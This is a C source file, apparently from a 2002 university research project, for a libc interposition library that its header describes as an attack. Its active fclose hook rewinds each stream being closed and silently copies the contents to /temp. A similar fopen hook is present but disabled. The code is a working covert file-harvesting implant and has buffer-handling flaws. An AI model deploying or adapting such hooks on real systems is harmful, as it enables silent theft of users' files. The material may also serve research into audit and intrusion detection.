/*****************************************************************************
InterposerAttack.c: Interposition library to capture function calls from the libc
	and attack the system by corrupting data or slowing down the system.
	This attack copies the files that the user opens and closes
    every time he/she uses the fopen and fclose functions


By:
	Miguel Torres
	Computer Science, Mississippi State University
	July 2002

Based on:
	Profiling and tracind gynamic library usage via interposition (Timothy Curry)
	Generation of application level audit data via library interposition (Kuperman and
		Spafford, 1999)
	The Thesis work by German Florez at the CCSR at Mississippi State University
******************************************************************************/

#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <unistd.h>
#include <time.h>
#include <string.h>

#include "signal.h"
#include <sys/utsname.h>

#define TRUE	1
#define FALSE	0 

// Consecutive for the files
static int fileConsecutive=0;
// Indicator to enable or disable the profiling
static int DoProfile=TRUE;


#ifdef ATTACK


/*
	Opens a stream.
	fopen opens the file named by filename and associates a stream with it.
	fopen returns a pointer to be used to identify the stream in subsequent operations.
*/

/*GFL August 8... i'm not gonna used fopen because som eerror s in mpi_init*/
#if 0
FILE *fopen(const char *filename, const char *mode)
{
	// data referent to the real function
	typedef FILE*(*function_type) (const char *filename, const char *mode);
	static function_type function=NULL;
	static char* function_name="fopen";
	FILE *retval;

	// Search for the next function that fits the especification of function_name
	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}

	// If the profiling is active
	if (DoProfile){
		//  If the file is open in read mode
		if(mode[0]=='r'){
			#ifdef PRINT_OUTPUT	
				printf("_o %d\n ",DoProfile);
				fflush(stdout);
			#endif
			DoProfile = FALSE;
			//executes the funtion and then profile
			if( (retval = ((*function)(filename,mode)))!=NULL){
				char c,number[9];
				char fileMine[100];
				FILE *ifp;
				//Gets the name of the file!
				/* Name of the new file */
				strcpy(fileMine,"/temp");
				strcat(fileMine,tmpnam(NULL));
				sprintf(number,"%d",fileConsecutive);
				strcat(fileMine,number);
				fileConsecutive++;
				#ifdef PRINT_OUTPUT	
					printf("%s\n",fileMine);
					fflush(stdout);
				#endif
				// Copies the file
				if ((ifp = fopen(fileMine,"w"))!=NULL){
					while ((c = getc(retval)) != EOF)
						putc(c, ifp);
					fclose(ifp);
					#ifdef PRINT_OUTPUT	
						printf("FILE CREATED\n");
						fflush(stdout);
					#endif
				}
				fflush(stdout);
				//system(file);
				fileConsecutive++;
			}
			DoProfile=TRUE;
		}
	}
	else //do not profile, only execute
		retval = ((*function)(filename,mode));

	return (retval);
}
#endif


/*
	Closes a stream.
	fclose closes the named stream. All buffers associated with the stream 
	are flushed before closing. System-allocated buffers are freed upon closing. 
	Buffers assigned with setbuf or setvbuf are not automatically freed.
*/

int fclose(FILE *stream)
{
	typedef int(*function_type) (FILE *stream);
	static function_type function=NULL;
	static char* function_name="fclose";

	int retval;

	if (!function){
		function = (function_type) dlsym(RTLD_NEXT,function_name);
	}


	if (DoProfile){
		#ifdef PRINT_OUTPUT
			printf("_c %d\n",DoProfile);
			fflush(stdout);
		#endif
		DoProfile=FALSE;
		char c,number[9];
		char fileMine[100];
		//execute the funtion and then profile
		FILE *ifp;
		/* Name of the new file */
		strcpy(fileMine,"/temp");
		strcat(fileMine,tmpnam(NULL));
		sprintf(number,"%d",fileConsecutive);
		strcat(fileMine,number);
		fileConsecutive++;
		// Copies the file
		#ifdef PRINT_OUTPUT
			printf("%s\n",fileMine);
			fflush(stdout);
		#endif
		fseek(stream, 0, SEEK_SET);
		if ((ifp = fopen(fileMine,"w"))!= NULL){
			while ((c = getc(stream)) != EOF)
				putc(c, ifp);
			fclose(ifp);
			#ifdef PRINT_OUTPUT
				printf("FILE CREATED\n");
				fflush(stdout);
			#endif
		}
		// executes the function
		retval = ((*function)(stream));
		DoProfile=TRUE;
	}
	else //do not profile, only execute
		retval = ((*function)(stream));

	return (retval);
}


#endif